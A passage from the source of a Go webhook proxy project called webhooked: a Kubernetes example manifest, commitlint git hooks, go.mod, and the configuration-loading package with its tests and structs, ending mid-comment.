-------------------------------------------------------------------------------- 1 | --- 2 | # Configuration Map for deployment.yaml 3 | # Edit it to change the configuration of your proxy 4 | # Don't forget to restart your proxy after changing it 5 | # 6 | # Path: examples/kubernetes/deployment.yaml 7 | apiVersion: v1 8 | kind: ConfigMap 9 | metadata: 10 | name: webhooked 11 | data: 12 | webhooked.yaml: | 13 | apiVersion: v1alpha1 14 | specs: 15 | - name: exampleHook 16 | entrypointUrl: /webhooks/example 17 | security: 18 | - header: 19 | inputs: 20 | - name: headerName 21 | value: X-Hook-Secret 22 | - compare: 23 | inputs: 24 | - name: first 25 | value: '{{ .Outputs.header.value }}' 26 | - name: second 27 | valueFrom: 28 | envRef: SECRET_TOKEN 29 | storage: 30 | - type: redis 31 | specs: 32 | host: redis 33 | port: '6379' 34 | database: 0 35 | key: foo 36 | --- 37 | apiVersion: apps/v1 38 | kind: Deployment 39 | metadata: 40 | name: webhooked 41 | labels: 42 | app.kubernetes.io/name: webhooked 43 | app.kubernetes.io/version: '0.6' 44 | spec: 45 | selector: 46 | matchLabels: 47 | app.kubernetes.io/name: webhooked 48 | template: 49 | metadata: 50 | labels: 51 | app.kubernetes.io/name: webhooked 52 | spec: 53 | containers: 54 | - name: webhooked 55 | image: atomys/webhooked:0.6 56 | imagePullPolicy: IfNotPresent 57 | env: 58 | - name: SECRET_TOKEN 59 | value: verySecretToken 60 | resources: 61 | requests: 62 | memory: "10Mi" 63 | cpu: "10m" 64 | limits: 65 | memory: "15Mi" 66 | cpu: "20m" 67 | ports: 68 | - containerPort: 8080 69 | name: http 70 | volumeMounts: 71 | - mountPath: /config/webhooked.yaml 72 | name: configuration 73 | subPath: webhooked.yaml 74 | volumes: 75 | - name: configuration 76 | configMap: 77 | name: webhooked 78 | --- 79 | apiVersion: v1 80 | kind: Service 81 | metadata: 82 | name: webhooked 83 | spec: 84 | selector: 85 | app.kubernetes.io/name: webhooked 86 | ports: 87 | - port: 8080 88 | targetPort: 8080 -------------------------------------------------------------------------------- /githooks/commit-msg: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # git config core.hooksPath githooks 3 | 4 | RED="\033[1;31m" 5 | GREEN="\033[1;32m" 6 | NC="\033[0m" 7 | 8 | if ! npm list -g '@commitlint/cli' &> /dev/null 9 | then 10 | echo "commitlint could not be found. Installing from https://github.com/conventional-changelog/commitlint" 11 | npm install -g @commitlint/cli 12 | fi 13 | 14 | if ! npm list -g '@commitlint/config-conventional' &> /dev/null 15 | then 16 | echo "commitlint/config-conventional could not be found. Installing from https://github.com/conventional-changelog/commitlint/tree/master/%40commitlint/config-conventional" 17 | npm install -g @commitlint/config-conventional 18 | fi 19 | 20 | commitlint -g $(git config core.hooksPath)/commitlint.config.js -x $(npm root -g)/@commitlint/config-conventional -V --edit "$1" -------------------------------------------------------------------------------- /githooks/commitlint.config.js: -------------------------------------------------------------------------------- 1 | const Configuration = { 2 | /* 3 | * Resolve and load @commitlint/config-conventional from node_modules. 4 | * Referenced packages must be installed 5 | */ 6 | extends: ['@commitlint/config-conventional'], 7 | /* 8 | * Resolve and load conventional-changelog-atom from node_modules. 9 | * Referenced packages must be installed 10 | */ 11 | // parserPreset: 'conventional-changelog-atom', 12 | /* 13 | * Resolve and load @commitlint/format from node_modules. 14 | * Referenced package must be installed 15 | */ 16 | formatter: '@commitlint/format', 17 | /* 18 | * Any rules defined here will override rules from @commitlint/config-conventional 19 | */ 20 | rules: { 21 | 'type-case': [2, 'always', 'lower-case'], 22 | 'type-enum': [2, 'always', [ 23 | 'build', 24 | 'chore', 25 | 'ci', 26 | 'docs', 27 | 'feat', 28 | 'fix', 29 | 'perf', 30 | 'revert', 31 | 'style', 32 | 'test' 33 | ]], 34 | 'scope-case': [2, 'always', 'lower-case'], 35 | 'scope-enum': [2, 'always', [ 36 | 'handler', 37 | 'security', 38 | 'formatting', 39 | 'storage', 40 | 'configuration', 41 | 'deps', 42 | 'go', 43 | 'github', 44 | 'git' 45 | ]], 46 | 'scope-empty': [1, 'never'], 47 | 48 | 'subject-case': [2, 'always', 'lower-case'], 49 | 'header-max-length': [2, 'always', 142], 50 | }, 51 | /* 52 | * Functions that return true if commitlint should ignore the given message. 53 | */ 54 | ignores: [(commit) => commit === ''], 55 | /* 56 | * Whether commitlint uses the default ignore rules. 57 | */ 58 | defaultIgnores: true, 59 | /* 60 | * Custom URL to show upon failure 61 | */ 62 | helpUrl: 63 | 'https://github.com/conventional-changelog/commitlint/#what-is-commitlint', 64 | /* 65 | * Custom prompt configs 66 | */ 67 | prompt: { 68 | messages: {}, 69 | questions: { 70 | type: { 71 | description: 'please input type:', 72 | }, 73 | }, 74 | }, 75 | }; 76 | 77 | module.exports = Configuration; 78 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module atomys.codes/webhooked 2 | 3 | go 1.20 4 | 5 | require ( 6 | github.com/go-redis/redis/v8 v8.11.5 7 | github.com/gorilla/mux v1.8.1 8 | github.com/jmoiron/sqlx v1.3.5 9 | github.com/knadh/koanf v1.5.0 10 | github.com/lib/pq v1.10.9 11 | github.com/mitchellh/mapstructure v1.5.0 12 | github.com/prometheus/client_golang v1.18.0 13 | github.com/rs/zerolog v1.32.0 14 | github.com/spf13/cobra v1.8.0 15 | github.com/streadway/amqp v1.1.0 16 | github.com/stretchr/testify v1.9.0 17 | ) 18 | 19 | require ( 20 | github.com/beorn7/perks v1.0.1 // indirect 21 | github.com/cespare/xxhash/v2 v2.2.0 // indirect 22 | github.com/davecgh/go-spew v1.1.1 // indirect 23 | github.com/dgryski/go-rendezvous v0.0.0-20200823014737-9f7001d12a5f // indirect 24 | github.com/fsnotify/fsnotify v1.6.0 // indirect 25 | github.com/inconshreveable/mousetrap v1.1.0 // indirect 26 | github.com/kr/text v0.2.0 // indirect 27 | github.com/mattn/go-colorable v0.1.13 // indirect 28 | github.com/mattn/go-isatty v0.0.19 // indirect 29 | github.com/matttproud/golang_protobuf_extensions/v2 v2.0.0 // indirect 30 | github.com/mitchellh/copystructure v1.2.0 // indirect 31 | github.com/mitchellh/reflectwalk v1.0.2 // indirect 32 | github.com/pmezard/go-difflib v1.0.0 // indirect 33 | github.com/prometheus/client_model v0.5.0 // indirect 34 | github.com/prometheus/common v0.45.0 // indirect 35 | github.com/prometheus/procfs v0.12.0 // indirect 36 | github.com/spf13/pflag v1.0.5 // indirect 37 | golang.org/x/sys v0.15.0 // indirect 38 | google.golang.org/protobuf v1.33.0 // indirect 39 | gopkg.in/yaml.v3 v3.0.1 // indirect 40 | ) 41 | -------------------------------------------------------------------------------- /internal/config/configuration.go: -------------------------------------------------------------------------------- 1 | package config 2 | 3 | import ( 4 | "bytes" 5 | "errors" 6 | "fmt" 7 | "io" 8 | "os" 9 | "strings" 10 | 11 | "github.com/knadh/koanf" 12 | "github.com/knadh/koanf/parsers/yaml" 13 | "github.com/knadh/koanf/providers/env" 14 | "github.com/knadh/koanf/providers/file" 15 | "github.com/mitchellh/mapstructure" 16 | "github.com/rs/zerolog/log" 17 | 18 | "atomys.codes/webhooked/pkg/factory" 19 | "atomys.codes/webhooked/pkg/storage" 20 | ) 21 | 22 | var ( 23 | currentConfig = &Configuration{} 24 | // ErrSpecNotFound is returned when the spec is not found 25 | ErrSpecNotFound = errors.New("spec not found") 26 | // defaultPayloadTemplate is the default template for the payload 27 | // when no template is defined 28 | defaultPayloadTemplate = `{{ .Payload }}` 29 | // defaultResponseTemplate is the default template for the response 30 | // when no template is defined 31 | defaultResponseTemplate = `` 32 | ) 33 | 34 | // Load loads the configuration from the configuration file 35 | // if an error is occurred, it will be returned 36 | func Load(cfgFile string) error { 37 | var k = koanf.New(".") 38 | 39 | // Load YAML config. 40 | if err := k.Load(file.Provider(cfgFile), yaml.Parser()); err != nil { 41 | log.Error().Msgf("error loading config: %v", err) 42 | } 43 | 44 | // Load from environment variables 45 | err := k.Load(env.ProviderWithValue("WH_", ".", func(s, v string) (string, interface{}) { 46 | key := strings.Replace(strings.ToLower( 47 | strings.TrimPrefix(s, "WH_")), "_", ".", -1) 48 | 49 | return key, v 50 | }), nil) 51 | if err != nil { 52 | log.Error().Msgf("error loading config: %v", err) 53 | } 54 | 55 | if os.Getenv("WH_DEBUG") == "true" { 56 | k.Print() 57 | } 58 | 59 | err = k.UnmarshalWithConf("", ¤tConfig, koanf.UnmarshalConf{ 60 | DecoderConfig: &mapstructure.DecoderConfig{ 61 | DecodeHook: mapstructure.ComposeDecodeHookFunc( 62 | mapstructure.StringToTimeDurationHookFunc(), 63 | factory.DecodeHook, 64 | ), 65 | Result: ¤tConfig, 66 | WeaklyTypedInput: true, 67 | }, 68 | }) 69 | if err != nil { 70 | log.Fatal().Msgf("error loading config: %v", err) 71 | return err 72 | } 73 | 74 | for _, spec := range currentConfig.Specs { 75 | if err := loadSecurityFactory(spec); err != nil { 76 | return err 77 | } 78 | 79 | if spec.Formatting, err = loadTemplate(spec.Formatting, nil, defaultPayloadTemplate); err != nil { 80 | return fmt.Errorf("configured storage for %s received an error: %s", spec.Name, err.Error()) 81 | } 82 | 83 | if err = loadStorage(spec); err != nil { 84 | return fmt.Errorf("configured storage for %s received an error: %s", spec.Name, err.Error()) 85 | } 86 | 87 | if spec.Response.Formatting, err = loadTemplate(spec.Response.Formatting, nil, defaultResponseTemplate); err != nil { 88 | return fmt.Errorf("configured response for %s received an error: %s", spec.Name, err.Error()) 89 | } 90 | } 91 | 92 | log.Info().Msgf("Load %d configurations", len(currentConfig.Specs)) 93 | return Validate(currentConfig) 94 | } 95 | 96 | // loadSecurityFactory loads the security factory for the given spec 97 | // if an error is occurred, return an error 98 | func loadSecurityFactory(spec *WebhookSpec) error { 99 | spec.SecurityPipeline = factory.NewPipeline() 100 | for _, security := range spec.Security { 101 | for securityName, securityConfig := range security { 102 | f, ok := factory.GetFactoryByName(securityName) 103 | if !ok { 104 | return fmt.Errorf("security factory \"%s\" in %s specification is not a valid factory", securityName, spec.Name) 105 | } 106 | 107 | for _, input := range securityConfig.Inputs { 108 | f.WithInput(input.Name, input) 109 | } 110 | 111 | spec.SecurityPipeline.AddFactory(f.WithID(securityConfig.ID).WithConfig(securityConfig.Specs)) 112 | } 113 | } 114 | log.Debug().Msgf("%d security factories loaded for spec %s", spec.SecurityPipeline.FactoryCount(), spec.Name) 115 | return nil 116 | } 117 | 118 | // Validate the configuration file and her content 119 | func Validate(config *Configuration) error { 120 | var uniquenessName = make(map[string]bool) 121 | var uniquenessUrl = make(map[string]bool) 122 | 123 | for _, spec := range config.Specs { 124 | log.Debug().Str("name", spec.Name).Msgf("Load spec: %+v", spec) 125 | 126 | // Validate the uniqueness of all name 127 | if _, ok := uniquenessName[spec.Name]; ok { 128 | return fmt.Errorf("specification name %s must be unique", spec.Name) 129 | } 130 | uniquenessName[spec.Name] = true 131 | 132 | // Validate the uniqueness of all entrypoints 133 | if _, ok := uniquenessUrl[spec.EntrypointURL]; ok { 134 | return fmt.Errorf("specification entrypoint url %s must be unique", spec.EntrypointURL) 135 | } 136 | uniquenessUrl[spec.EntrypointURL] = true 137 | } 138 | 139 | return nil 140 | } 141 | 142 | // loadStorage registers the storage and validate it 143 | // if the storage is not found or an error is occurred during the 144 | // initialization or connection, the error is returned during the 145 | // validation 146 | func loadStorage(spec *WebhookSpec) (err error) { 147 | for _, s := range spec.Storage { 148 | s.Client, err = storage.Load(s.Type, s.Specs) 149 | if err != nil { 150 | return fmt.Errorf("storage %s cannot be loaded properly: %s", s.Type, err.Error()) 151 | } 152 | 153 | if s.Formatting, err = loadTemplate(s.Formatting, spec.Formatting, defaultPayloadTemplate); err != nil { 154 | return fmt.Errorf("storage %s cannot be loaded properly: %s", s.Type, err.Error()) 155 | } 156 | } 157 | 158 | log.Debug().Msgf("%d storages loaded for spec %s", len(spec.Storage), spec.Name) 159 | return 160 | } 161 | 162 | // loadTemplate loads the template for the given `spec`. When no spec is defined 163 | // we try to load the template from the parentSpec and fallback to the default 164 | // template if parentSpec is not given. 165 | func loadTemplate(spec, parentSpec *FormattingSpec, defaultTemplate string) (*FormattingSpec, error) { 166 | if spec == nil { 167 | spec = &FormattingSpec{} 168 | } 169 | 170 | if spec.TemplateString != "" { 171 | spec.Template = spec.TemplateString 172 | return spec, nil 173 | } 174 | 175 | if spec.TemplatePath != "" { 176 | file, err := os.OpenFile(spec.TemplatePath, os.O_RDONLY, 0666) 177 | if err != nil { 178 | return spec, err 179 | } 180 | defer file.Close() 181 | 182 | var buffer bytes.Buffer 183 | _, err = io.Copy(&buffer, file) 184 | if err != nil { 185 | return spec, err 186 | } 187 | 188 | spec.Template = buffer.String() 189 | return spec, nil 190 | } 191 | 192 | if parentSpec != nil { 193 | if parentSpec.Template == "" { 194 | var err error 195 | parentSpec, err = loadTemplate(parentSpec, nil, defaultTemplate) 196 | if err != nil { 197 | return spec, err 198 | } 199 | } 200 | spec.Template = parentSpec.Template 201 | } else { 202 | spec.Template = defaultTemplate 203 | } 204 | 205 | return spec, nil 206 | } 207 | 208 | // Current returns the aftual configuration 209 | func Current() *Configuration { 210 | return currentConfig 211 | } 212 | 213 | // GetSpec returns the spec for the given name, if no entry 214 | // is found, ErrSpecNotFound is returned 215 | func (c *Configuration) GetSpec(name string) (*WebhookSpec, error) { 216 | for _, spec := range c.Specs { 217 | if spec.Name == name { 218 | return spec, nil 219 | } 220 | } 221 | 222 | log.Error().Err(ErrSpecNotFound).Msgf("Spec %s not found", name) 223 | return nil, ErrSpecNotFound 224 | 225 | } 226 | 227 | // GetSpecByEndpoint returns the spec for the given endpoint, if no entry 228 | // is found, ErrSpecNotFound is returned 229 | func (c *Configuration) GetSpecByEndpoint(endpoint string) (*WebhookSpec, error) { 230 | for _, spec := range c.Specs { 231 | if spec.EntrypointURL == endpoint { 232 | return spec, nil 233 | } 234 | } 235 | 236 | return nil, ErrSpecNotFound 237 | } 238 | -------------------------------------------------------------------------------- /internal/config/configuration_test.go: -------------------------------------------------------------------------------- 1 | package config 2 | 3 | import ( 4 | "os" 5 | "testing" 6 | 7 | "github.com/stretchr/testify/assert" 8 | 9 | "atomys.codes/webhooked/internal/valuable" 10 | "atomys.codes/webhooked/pkg/factory" 11 | ) 12 | 13 | func TestLoad(t *testing.T) { 14 | os.Setenv("WH_APIVERSION", "v1alpha1_test") 15 | assert := assert.New(t) 16 | assert.NoError(Load("../../tests/webhooks.tests.yaml")) 17 | 18 | assert.Equal(true, currentConfig.Observability.MetricsEnabled) 19 | assert.Equal("v1alpha1_test", currentConfig.APIVersion) 20 | assert.Len(currentConfig.Specs, 1) 21 | 22 | currentSpec := currentConfig.Specs[0] 23 | assert.Equal("exampleHook", currentSpec.Name) 24 | assert.Equal("/webhooks/example", currentSpec.EntrypointURL) 25 | 26 | // Security block 27 | assert.True(currentSpec.HasSecurity()) 28 | assert.Len(currentSpec.Security, 2) 29 | 30 | // Formating block 31 | assert.True(currentSpec.HasGlobalFormatting()) 32 | assert.NotEmpty(currentSpec.Formatting.TemplateString) 33 | 34 | // Storage block 35 | assert.Len(currentSpec.Storage, 1) 36 | assert.Equal("postgres", currentSpec.Storage[0].Type) 37 | assert.NotEmpty("postgres", currentSpec.Storage[0].Specs["args"]) 38 | } 39 | 40 | func TestValidate(t *testing.T) { 41 | assert.NoError(t, Validate(&Configuration{})) 42 | assert.NoError(t, Validate(&Configuration{ 43 | Specs: []*WebhookSpec{ 44 | { 45 | Name: "test", 46 | EntrypointURL: "/test", 47 | }, 48 | }, 49 | })) 50 | 51 | assert.Error(t, Validate(&Configuration{ 52 | Specs: []*WebhookSpec{ 53 | { 54 | Name: "test", 55 | EntrypointURL: "/test", 56 | }, 57 | { 58 | Name: "test2", 59 | EntrypointURL: "/test", 60 | }, 61 | }, 62 | })) 63 | 64 | assert.Error(t, Validate(&Configuration{ 65 | Specs: []*WebhookSpec{ 66 | { 67 | Name: "test", 68 | EntrypointURL: "/test", 69 | }, 70 | { 71 | Name: "test", 72 | EntrypointURL: "/test", 73 | }, 74 | }, 75 | })) 76 | } 77 | 78 | func TestCurrent(t *testing.T) { 79 | assert.Equal(t, currentConfig, Current()) 80 | } 81 | 82 | func TestConfiguration_GetSpec(t *testing.T) { 83 | var c = &Configuration{Specs: make([]*WebhookSpec, 0)} 84 | spec, err := c.GetSpec("missing") 85 | assert.Equal(t, ErrSpecNotFound, err) 86 | assert.Equal(t, (*WebhookSpec)(nil), spec) 87 | 88 | var testSpec = WebhookSpec{ 89 | Name: "test", 90 | EntrypointURL: "/test", 91 | } 92 | c.Specs = append(c.Specs, &testSpec) 93 | 94 | spec, err = c.GetSpec("test") 95 | assert.Equal(t, nil, err) 96 | assert.Equal(t, &testSpec, spec) 97 | } 98 | 99 | func TestConfiguration_GeSpecByEndpoint(t *testing.T) { 100 | var c = &Configuration{Specs: make([]*WebhookSpec, 0)} 101 | spec, err := c.GetSpecByEndpoint("/test") 102 | assert.Equal(t, ErrSpecNotFound, err) 103 | assert.Equal(t, (*WebhookSpec)(nil), spec) 104 | 105 | var testSpec = WebhookSpec{ 106 | EntrypointURL: "/test", 107 | } 108 | c.Specs = append(c.Specs, &testSpec) 109 | 110 | spec, err = c.GetSpecByEndpoint("/test") 111 | assert.Equal(t, nil, err) 112 | assert.Equal(t, &testSpec, spec) 113 | } 114 | 115 | func TestLoadSecurityFactory(t *testing.T) { 116 | assert := assert.New(t) 117 | 118 | tests := []struct { 119 | name string 120 | input *WebhookSpec 121 | wantErr bool 122 | wantLen int 123 | }{ 124 | {"no spec", &WebhookSpec{Name: "test"}, false, 0}, 125 | { 126 | "full valid security", 127 | &WebhookSpec{ 128 | Name: "test", 129 | Security: []map[string]Security{ 130 | { 131 | "header": Security{"secretHeader", []*factory.InputConfig{ 132 | { 133 | Name: "headerName", 134 | Valuable: valuable.Valuable{Values: []string{"X-Token"}}, 135 | }, 136 | }, make(map[string]interface{})}, 137 | "compare": Security{"", []*factory.InputConfig{ 138 | { 139 | Name: "first", 140 | Valuable: valuable.Valuable{Values: []string{"{{ .Outputs.secretHeader.value }}"}}, 141 | }, 142 | { 143 | Name: "second", 144 | Valuable: valuable.Valuable{Values: []string{"test"}}, 145 | }, 146 | }, map[string]interface{}{"inverse": false}}, 147 | }, 148 | }, 149 | }, 150 | false, 151 | 2, 152 | }, 153 | { 154 | "empty security configuration", 155 | &WebhookSpec{ 156 | Name: "test", 157 | Security: []map[string]Security{}, 158 | }, 159 | false, 160 | 0, 161 | }, 162 | { 163 | "invalid factory name in configuration", 164 | &WebhookSpec{ 165 | Name: "test", 166 | Security: []map[string]Security{ 167 | { 168 | "invalid": Security{}, 169 | }, 170 | }, 171 | }, 172 | true, 173 | 0, 174 | }, 175 | } 176 | 177 | for _, test := range tests { 178 | err := loadSecurityFactory(test.input) 179 | if test.wantErr { 180 | assert.Error(err, test.name) 181 | } else { 182 | assert.NoError(err, test.name) 183 | } 184 | assert.Equal(test.input.SecurityPipeline.FactoryCount(), test.wantLen, test.name) 185 | } 186 | } 187 | 188 | func TestLoadStorage(t *testing.T) { 189 | assert := assert.New(t) 190 | 191 | tests := []struct { 192 | name string 193 | input *WebhookSpec 194 | wantErr bool 195 | wantStorage bool 196 | }{ 197 | {"no spec", &WebhookSpec{Name: "test"}, false, false}, 198 | { 199 | "full valid storage", 200 | &WebhookSpec{ 201 | Name: "test", 202 | Storage: []*StorageSpec{ 203 | { 204 | Type: "redis", 205 | Specs: map[string]interface{}{ 206 | "host": "localhost", 207 | "port": 0, 208 | }, 209 | Formatting: &FormattingSpec{TemplateString: "null"}, 210 | }, 211 | }, 212 | }, 213 | true, 214 | false, 215 | }, 216 | { 217 | "empty storage configuration", 218 | &WebhookSpec{ 219 | Name: "test", 220 | Storage: []*StorageSpec{}, 221 | }, 222 | false, 223 | false, 224 | }, 225 | { 226 | "invalid storage name in configuration", 227 | &WebhookSpec{ 228 | Name: "test", 229 | Storage: []*StorageSpec{ 230 | {}, 231 | }, 232 | }, 233 | true, 234 | false, 235 | }, 236 | } 237 | 238 | for _, test := range tests { 239 | err := loadStorage(test.input) 240 | if test.wantErr { 241 | assert.Error(err, test.name) 242 | } else { 243 | assert.NoError(err, test.name) 244 | } 245 | 246 | if test.wantStorage && assert.Len(test.input.Storage, 1, "no storage is loaded for test %s", test.name) { 247 | s := test.input.Storage[0] 248 | assert.NotNil(s, test.name) 249 | } 250 | } 251 | } 252 | 253 | func Test_loadTemplate(t *testing.T) { 254 | tests := []struct { 255 | name string 256 | input *FormattingSpec 257 | parentSpec *FormattingSpec 258 | wantErr bool 259 | wantTemplate string 260 | }{ 261 | { 262 | "no template", 263 | nil, 264 | nil, 265 | false, 266 | defaultPayloadTemplate, 267 | }, 268 | { 269 | "template string", 270 | &FormattingSpec{TemplateString: "{{ .Request.Method }}"}, 271 | nil, 272 | false, 273 | "{{ .Request.Method }}", 274 | }, 275 | { 276 | "template file", 277 | &FormattingSpec{TemplatePath: "../../tests/simple_template.tpl"}, 278 | nil, 279 | false, 280 | "{{ .Request.Method }}", 281 | }, 282 | { 283 | "template file with template string", 284 | &FormattingSpec{TemplatePath: "../../tests/simple_template.tpl", TemplateString: "{{ .Request.Path }}"}, 285 | nil, 286 | false, 287 | "{{ .Request.Path }}", 288 | }, 289 | { 290 | "no template with not loaded parent", 291 | nil, 292 | &FormattingSpec{TemplateString: "{{ .Request.Method }}"}, 293 | false, 294 | "{{ .Request.Method }}", 295 | }, 296 | { 297 | "no template with loaded parent", 298 | nil, 299 | &FormattingSpec{Template: "{{ .Request.Method }}", TemplateString: "{{ .Request.Path }}"}, 300 | false, 301 | "{{ .Request.Method }}", 302 | }, 303 | { 304 | "no template with unloaded parent and error", 305 | nil, 306 | &FormattingSpec{TemplatePath: "//invalid//path//"}, 307 | true, 308 | "", 309 | }, 310 | { 311 | "template file not found", 312 | &FormattingSpec{TemplatePath: "//invalid//path//"}, 313 | nil, 314 | true, 315 | "", 316 | }, 317 | } 318 | 319 | for _, test := range tests { 320 | tmpl, err := loadTemplate(test.input, test.parentSpec, defaultPayloadTemplate) 321 | if test.wantErr { 322 | assert.Error(t, err, test.name) 323 | } else { 324 | assert.NoError(t, err, test.name) 325 | } 326 | assert.NotNil(t, tmpl, test.name) 327 | assert.Equal(t, test.wantTemplate, tmpl.Template, test.name) 328 | } 329 | } 330 | -------------------------------------------------------------------------------- /internal/config/specification.go: -------------------------------------------------------------------------------- 1 | package config 2 | 3 | // HasSecurity returns true if the spec has a security factories 4 | func (s WebhookSpec) HasSecurity() bool { 5 | return s.SecurityPipeline != nil && s.SecurityPipeline.HasFactories() 6 | } 7 | 8 | // HasGlobalFormatting returns true if the spec has a global formatting 9 | func (s WebhookSpec) HasGlobalFormatting() bool { 10 | return s.Formatting != nil && (s.Formatting.TemplatePath != "" || s.Formatting.TemplateString != "") 11 | } 12 | 13 | // HasFormatting returns true if the storage spec has a formatting 14 | func (s StorageSpec) HasFormatting() bool { 15 | return s.Formatting != nil && (s.Formatting.TemplatePath != "" || s.Formatting.TemplateString != "") 16 | } 17 | -------------------------------------------------------------------------------- /internal/config/specification_test.go: -------------------------------------------------------------------------------- 1 | package config 2 | 3 | import ( 4 | "testing" 5 | 6 | "github.com/stretchr/testify/assert" 7 | ) 8 | 9 | func TestWebhookSpec_HasSecurity(t *testing.T) { 10 | assert.False(t, WebhookSpec{Security: nil}.HasSecurity()) 11 | // TODO: add tests for security 12 | } 13 | 14 | func TestWebhookSpec_HasGlobalFormatting(t *testing.T) { 15 | assert.False(t, WebhookSpec{Formatting: nil}.HasGlobalFormatting()) 16 | assert.False(t, WebhookSpec{Formatting: &FormattingSpec{}}.HasGlobalFormatting()) 17 | assert.False(t, WebhookSpec{Formatting: &FormattingSpec{TemplatePath: ""}}.HasGlobalFormatting()) 18 | assert.False(t, WebhookSpec{Formatting: &FormattingSpec{TemplateString: ""}}.HasGlobalFormatting()) 19 | assert.False(t, WebhookSpec{Formatting: &FormattingSpec{TemplatePath: "", TemplateString: ""}}.HasGlobalFormatting()) 20 | assert.True(t, WebhookSpec{Formatting: &FormattingSpec{TemplatePath: "/_tmp/invalid_path", TemplateString: ""}}.HasGlobalFormatting()) 21 | assert.True(t, WebhookSpec{Formatting: &FormattingSpec{TemplatePath: "/_tmp/invalid_path", TemplateString: "{{}}"}}.HasGlobalFormatting()) 22 | } 23 | 24 | func TestWebhookSpec_HasFormatting(t *testing.T) { 25 | assert.False(t, StorageSpec{Formatting: nil}.HasFormatting()) 26 | assert.False(t, StorageSpec{Formatting: &FormattingSpec{}}.HasFormatting()) 27 | assert.False(t, StorageSpec{Formatting: &FormattingSpec{TemplatePath: ""}}.HasFormatting()) 28 | assert.False(t, StorageSpec{Formatting: &FormattingSpec{TemplateString: ""}}.HasFormatting()) 29 | assert.False(t, StorageSpec{Formatting: &FormattingSpec{TemplatePath: "", TemplateString: ""}}.HasFormatting()) 30 | assert.True(t, StorageSpec{Formatting: &FormattingSpec{TemplatePath: "/_tmp/invalid_path", TemplateString: ""}}.HasFormatting()) 31 | assert.True(t, StorageSpec{Formatting: &FormattingSpec{TemplatePath: "/_tmp/invalid_path", TemplateString: "{{}}"}}.HasFormatting()) 32 | } 33 | -------------------------------------------------------------------------------- /internal/config/structs.go: -------------------------------------------------------------------------------- 1 | package config 2 | 3 | import ( 4 | "atomys.codes/webhooked/pkg/factory" 5 | "atomys.codes/webhooked/pkg/storage" 6 | ) 7 | 8 | // Configuration is the struct contains all the configuration 9 | // defined in the webhooks yaml file 10 | type Configuration struct { 11 | // APIVerion is the version of the API that will be used 12 | APIVersion string `mapstructure:"apiVersion" json:"apiVersion"` 13 | // Observability is the configuration for observability 14 | Observability Observability `mapstructure:"observability" json:"observability"` 15 | // Specs is the configuration for the webhooks specs 16 | Specs []*WebhookSpec `mapstructure:"specs" json:"specs"` 17 | } 18 | 19 | // Observability is the struct contains the configuration for observability 20 | // defined in the webhooks yaml file. 21 | type Observability struct { 22 | // MetricsEnabled is the flag to enable or disable the prometheus metrics 23 | // endpoint and expose the metrics 24 | MetricsEnabled bool `mapstructure:"metricsEnabled" json:"metricsEnabled"` 25 | } 26 | 27 | // WebhookSpec is the struct contains the configuration for a webhook spec 28 | // defined in the webhooks yaml file. 29 | type WebhookSpec struct { 30 | // Name is the name of the webhook spec. It must be unique in the configuration 31 | // file. It is used to identify the webhook spec in the configuration file 32 | // and is defined by the user 33 | Name string `mapstructure:"name" json:"name"` 34 | // EntrypointURL is the URL of the entrypoint of the webhook spec. It must 35 | // be unique in the configuration file. It is defined by the user 36 | // It is used to identify the webhook spec when receiving a request 37 | EntrypointURL string `mapstructure:"entrypointUrl" json:"entrypointUrl"` 38 | // Security is the configuration for the security of the webhook spec 39 | // It is defined by the user and can be empty. See HasSecurity() method 40 | // to know if the webhook spec has security 41 | Security []map[string]Security `mapstructure:"security" json:"-"` 42 | // Format is used to define the payload format sent by the webhook spec 43 | // to all storages. Each storage can have its own format. When this 44 | // configuration is empty, the default formatting setting is used (body as JSON) 45 | // It is defined by the user and can be empty. See HasGlobalFormatting() method 46 | // to know if the webhook spec has format 47 | Formatting *FormattingSpec `mapstructure:"formatting" json:"-"` 48 | // SecurityPipeline is the security pipeline of the webhook spec 49 | // It is defined by the configuration loader. This field is not defined 50 | // by the user and cannot be overridden 51 | SecurityPipeline *factory.Pipeline `mapstructure:"-" json:"-"` 52 | // Storage is the configuration for the storage of the webhook spec 53 | // It is defined by the user and can be empty. 54 | Storage []*StorageSpec `mapstructure:"storage" json:"-"` 55 | // Response is the configuration for the response of the webhook sent 56 | // to the caller. It is defined by the user and can be empty. 57 | Response ResponseSpec `mapstructure:"response" json:"-"` 58 | } 59 | 60 | type ResponseSpec struct { 61 | // Formatting is used to define the response body sent by webhooked 62 | // to the webhook caller. When this configuration is empty, no response 63 | // body is sent. It is defined by the user and can be empty. 64 | Formatting *FormattingSpec `mapstructure:"formatting" json:"-"` 65 | // HTTPCode is the HTTP code of the response. It is defined by the user 66 | // and can be empty. (default: 200) 67 | HttpCode int `mapstructure:"httpCode" json:"httpCode"` 68 | // ContentType is the content type of the response. It is defined by the user 69 | // and can be empty. (default: plain/text) 70 | ContentType string `mapstructure:"contentType" json:"contentType"` 71 | } 72 | 73 | // Security is the struct contains the configuration for a security 74 | // defined in the webhooks yaml file. 75 | type Security struct { 76 | // ID is the ID of the security. It must be unique in the configuration 77 | // file. It is defined by the user and is used to identify the security 78 | // factory as .Outputs 79 | ID string `mapstructure:"id"` 80 | // Inputs is the configuration for the inputs of the security. It is 81 | // defined by the user and following the specification of the security 82 | // factory 83 | Inputs []*factory.InputConfig `mapstructure:"inputs"` 84 | // Specs is the configuration for the specs of the security. It is 85 | // defined by the user and following the specification of the security 86 | // factory 87 | Specs map[string]interface{} `mapstructure:",remain"` 88 | } 89 | 90 | // StorageSpec is the struct contains the configuration for a storage 91 | // defined in the webhooks yaml file. 92 | type StorageSpec struct { 93 | // Type is the type of the storage. It must be a valid storage type 94 | // defined in the storage package. 95 | Type string `mapstructure:"type" json:"type"` 96 | // Specs is the configuration for the storage. It is defined by the user 97 | // following the storage type specification 98 | // NOTE: this field is hidden for json to prevent mistake of the user 99 | // when he use the custom formatting option and leak credentials 100 | Specs map[string]interface{} `mapstructure:"specs" json:"-"` 101 | // Format is used to define the payload format sent by the webhook spec 102 | // to this storage. If not defined, the format of the webhook spec is 103 | // used. 104 | // It is defined by the user and can be empty. See HasFormatting() method 105 | // to know if the webhook spec has format 106 | Formatting *FormattingSpec `mapstructure:"formatting" json:"-"` 107 | // Client is the storage client. It is defined by the configuration loader 108 | // and cannot be overridden 109 | Client storage.Pusher `mapstructure:"-" json:"-"` 110 | } 111 | 112 | // FormattingSpec is the struct contains the configuration to formatting the 113 | // payload of the webhook spec. The field TempalteString is 